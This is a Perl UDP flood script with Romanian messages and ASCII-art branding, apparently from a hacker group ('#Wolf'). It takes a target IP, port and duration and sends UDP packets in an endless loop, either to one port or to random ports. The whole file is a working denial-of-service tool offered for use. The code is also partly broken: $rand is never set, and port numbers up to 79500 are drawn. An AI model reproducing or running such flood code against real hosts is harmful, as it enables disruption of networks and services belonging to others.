#!/usr/bin/perl
use Socket;
$ARGC=@ARGV;
if ($ARGC !=3) {
printf "* Ufff comanda e: perl $0 <ip> <port> <time> *\n";
exit(1);
}
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");

printf "##*  
        
                   ...
                 ;::::;;              
                ::::::::; 
               :;::::;:;;
             :::::;     ;.
            :::::'       ;           OOO\
            :::::;       ;          OOOOO\
           ;:::::;       ;         OOOOOOOO
          ,;::::::;     ;'         / OOOOOOO
        ;:::::::::`. ,,,;.        / R/ DOOOOOO
      .';:::::::::::::::::;,     / E/     DOOOO
     ,::::::;::::::;;;;::::;,   / T/        DOOO
    ;`::::::`'::::::;;;::::: ,#/ O/          DOOO
    :`:::::::`;::::::;;::: ;::# O/            DOOO
    ::`:::::::`;:::::::: ;::::#R/              DOO
    `:`:::::::`;:::::: ;::::::#/               DOO
     :::`:::::::`;; ;:::::::::##                OO
     ::::`:::::::`;::::::::;:::#                OO
     `:::::`::::::::::::;'`:;::#                O
      `:::::`::::::::;' /  / `:#
       ::::::`:::::;'  /  /   `#      
<- Dam tare in $ip pe port-ul $port ->
<- Arhiva de flood PRIVATA [Creata de #Wolf] ->
<- Daca vrei sa opresti flood-u apasa CTRL+C ->\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &"); 
goto randpackets;
}
packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 8, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=int(rand 79500) +0;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}